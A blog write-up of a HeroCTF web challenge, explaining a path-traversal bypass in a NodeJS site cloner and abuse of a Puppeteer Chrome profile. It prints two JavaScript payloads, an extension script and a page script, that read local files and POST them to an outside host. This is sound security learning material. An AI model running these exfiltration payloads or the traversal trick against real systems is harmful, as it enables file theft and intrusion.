canine's cogent cognizances

home / My second CTF solve

published November 30, 2025 in security, programming

Prologue

My friend and fellow club president Kevin Yu was working on a HeroCTF challenge (Revoked) in the same room, and I became curious. I pointed out that the Python library for JWTs discarded = padding, apparently solving two challenges (Revoked and Revoked Revenge). We moved on to the Evil Cloner challenge, skipping the comparatively trivial “Spring Drive” because Kevin didn’t want to touch Spring. A fair opinion. Who wants to look into enterprise-grade Java business logic when you could inspect an accurate specimen of NodeJS + Express application circa 2010? As a seasoned webdev but amateur CTF competitor, I had no idea what I was getting into…

Achieving arbitrary file writes

The premise is simple: there’s a presumably insecure webapp (backend NodeJS) which clones websites, and you need to retrieve the contents of a text file in the root directory whose name starts with flag_. Within a few hours of sifting through the small codebase, we figured out how to write to arbitrary file locations.

Here’s the broken code:

1function filenameFromHeaders(headers) {
2  const cd = headers.get('content-disposition');
3  if (!cd) return null;
4  const filenameStar = cd.match(/filename\*\s*=\s*([^']*)''([^;]+)/i);
5  if (filenameStar && filenameStar[2]) {
6    try {
7      return decodeURIComponent(filenameStar[2]);
8    } catch {
9      return filenameStar[2];
10    }
11  }
12  ...
13}
14
15// exposed by creating a website to be "cloned" and instead linking to a page which is downloaded here:
16async function downloadToFile(resourceUrl, destPath, controller) {
17  const res = await fetch(resourceUrl, {
18    redirect: 'follow',
19    signal: controller?.signal,
20    headers: { 'User-Agent': 'Mozilla/5.0 (compatible; EvilCloner/1.0)' },
21  });
22  if (!res.ok) {
23    return false;
24  }
25
26  let finalPath = destPath;
27  const headerName = filenameFromHeaders(res.headers);
28  if (headerName) {
29    finalPath = path.dirname(destPath)+"/"+headerName;
30  }
31  if(finalPath.includes("..")) {
32    return false;
33  }
34  const buf = Buffer.from(await res.arrayBuffer());
35  finalPath = new URLParse(finalPath).pathname;
36  if(finalPath == false) {
37    return false;
38  }
39  await fs.writeFile(finalPath, buf);
40  return true;
41}

The url-parser dependency is pretty suspicious (why not use URL?), so I skimmed the source and found it filters out tabs and newlines. This sounds reasonable, but it allows us to bypass the not-including-.. constraint by using .\t. instead. By serving a page with a modified Content-Disposition we can write wherever! We thought it would be a straight line from here: we could overwrite an EJS template and use that to post the flag on the homepage.

But that wasn’t nearly enough. Actually, we couldn’t write anywhere since docker-compose.yml contains:

1services:
2  app:
3    ...
4    read_only: true
5    tmpfs:
6      - /tmp:mode=1733,exec
7      - /usr/app/data:mode=1733

Everything had to be in /tmp! (/usr/app/data, afaict, is entirely unused and useless.) Right around here, we looked at the solve count. Zero. This would be one of the hardest challenges in the competition. Kevin suggested that most elements had a purpose, but I thought that was a preposterous idea. Why did it come with two SQLite databases which aren’t even copied into the container? Why does it depend on sequelize, which is unused? Why does it log with morgan? Why does it have a “ban radar” to check the availability of a site with Puppeteer?

I think this is what makes CTFs and competitive programming so disparate. I have loads more experience with competitive programming, CTFs’ more thoughtful neighbor whose problems have considerably less breadth. Instead of wondering which of the hundreds of lines of code and various libraries are key to prying apart a vulnerability, in competitive programming, the key is often a data structure, algorithm or general technique. People have written books and 25-page references covering most of the relevant tricks, and anyone who dares to throw giant chunks of irrelevant information into problem statements are properly shunned. Where competitive programming descends into ad hoc obscure madness is where CTF challenges only begin. For this, you need general programming knowledge of popular languages, frameworks, etc. Instead of progressively optimizing a concise solution, your time is spent probing a ridiculously large attack surface. It’s on a bigger scale and less isolated but still easier to think about than some competitive programming problems.

Actually, I might not be qualified to remark on that, since this is my second problem… sorry, chall.

Chrome profile shenanigans

Wait, the “ban radar” thing is actually the crux of the solution. Puppeteer launches Chrome! While Chrome resides in /usr/bin/google-chrome, the profile directory lives in /tmp/profiles/(8 random characters), which means we can overwrite any of its files. But Chrome is a secure application! Safe and inviolable! Even though we don’t have access to the actual Chrome binaries, the profile directory gives us a surprising amount of leverage. My first thought was extensions: if we could plant an extension that piped the flag into our honeypot, we were done. But puppeteer disables extensions, so I looked at what was enabled:

1const args = [
2  "--disable-dev-shm-usage",
3  "--no-sandbox"
4];
5
6...
7args.push(`--user-data-dir=${userDataDir}`);
8
9const browser = await puppeteer.launch({
10  headless: 'new',
11  executablePath: "/usr/bin/google-chrome",
12  args,
13  ignoreDefaultArgs: ["--disable-client-side-phishing-detection", "--disable-component-update", "--force-color-profile=srgb"]
14});

The --disable-component-update sure looks funny. Whereas the others are somewhat reasonable, this one stands out (a search for each turns up why, except --force-color-profile=srgb, which seems useless in this headless scenario). That’s how I learned about Chrome’s components, which are little built-in extensions that provide random functionality (e.g. WidevineCdm is for DRM-protected playback, while AutofillStates is for, you guessed it, the literal autofilling of states from various countries).

I overwrote all the installed components of the cloner’s evil Chrome profile with my own evil extension to no avail. They weren’t being activated, maybe because of integrity checks? I gave up on this after many fruitless hours and turned to a different approach.

Update: After the CTF ended, someone took a similar approach.

1async function main() {
2  const base = "file:///";
3  const dirent = await (await fetch(base)).text();
4  const names = dirent.matchAll(/addRow\("([^"]*)"/g).map(v=>v[1]);
5  for (const name of names) {
6    try {
7      const data = await (await fetch(`${base}/${name}`)).text();
8      const res = await fetch("https://test.thomasqm.com/flag", {method: "POST", body: JSON.stringify({name, data}), headers: {
9        "content-type": "text/plain"
10      }});
11    } catch {}
12  }
13}
14
15main().catch(console.error);

My evil Chrome extension 😈😈😈.

File System API

What if we used the mostly-experimental File System API to retrieve the flag? We would need access to the entire root directory to scan it for a file matching flag_(random UUID).txt, but once we have it, we can store the handle in an IndexedDB (the only supported way to persist the handle) and overwrite the Preferences file to grant the permissions on the remote server.

The catch: Chrome blocks choosing basically all useful directories. /? No! It contains sensitive directories, like /proc. /proc/self/root? No – it is contained by /proc! I could manually edit the Preferences to give permission for the root directory, but I couldn’t update the IndexedDB to provide the handle.

I kept attempting to patch the IndexedDB using

but couldn’t pass whatever data checks it performs, perhaps because my substitute for the IndexedDB comparator instead corrupted the database. I was about to give up – no exaggeration! I would never! This post is completely factual – but then I unearthed a year-old Chromium issue:

NOTE: In versions <130, this would allow you to get permissions to that folder. In 130+, it now warns if you if that folder contains system files. I’d assume that’s an intended change.

(but only for drag and drop file transfers! not the modern window.showDirectoryPicker()!)

Jackpot! I eagerly installed an ancient Chromium, granted the permissions there, copied the IndexedDB to my normal Chrome, and it still worked! With my file writes perfectly poised, I deployed the HeroCTF instance, ran my script spaghetti and vanquished the Evil Cloner.

Now it’s 7 AM, the morning after the night after the day I slept 18 hours. Time for Spring Drive 🤓

1<script>
2  async function main() {
3    const promisify = (req, method="onsuccess") => {
4      return new Promise((res,rej)=>{
5        req[method] = ()=>res(req.result);
6        req.onerror = ()=>rej(req.error);
7      });
8    };
9
10    const db = await promisify(window.indexedDB.open("handles", 1));
11    const store = ()=>db.transaction("store", "readwrite").objectStore("store");
12    const handle = await promisify(store().get("dir")).catch(()=>null);
13
14    for await (const [name,file] of handle.entries()) {
15      if (file instanceof FileSystemFileHandle) {
16        let ok=false;
17        try {
18          const data = await file.getFile();
19          const res = await fetch("https://test.thomasqm.com/flag", {
20            method: "POST", body: JSON.stringify({name, data: await data.text()}), headers: {
21              "content-type": "text/plain"
22            }
23          });
24          ok = res.ok;
25        } catch (e) {
26          console.error(e);
27        }
28        console.log(name, ok ? "ok" : "fail");
29      }
30    }
31  }
32
33  window.onload = () => main().catch(console.error);
34</script>

Simplified version of the payload.

For those curious, here’s the full patched Preferences (search for file_system_access_chooser_data / file_system_access_extended_permission) and IndexedDB files for my payload at test.thomasqm.com.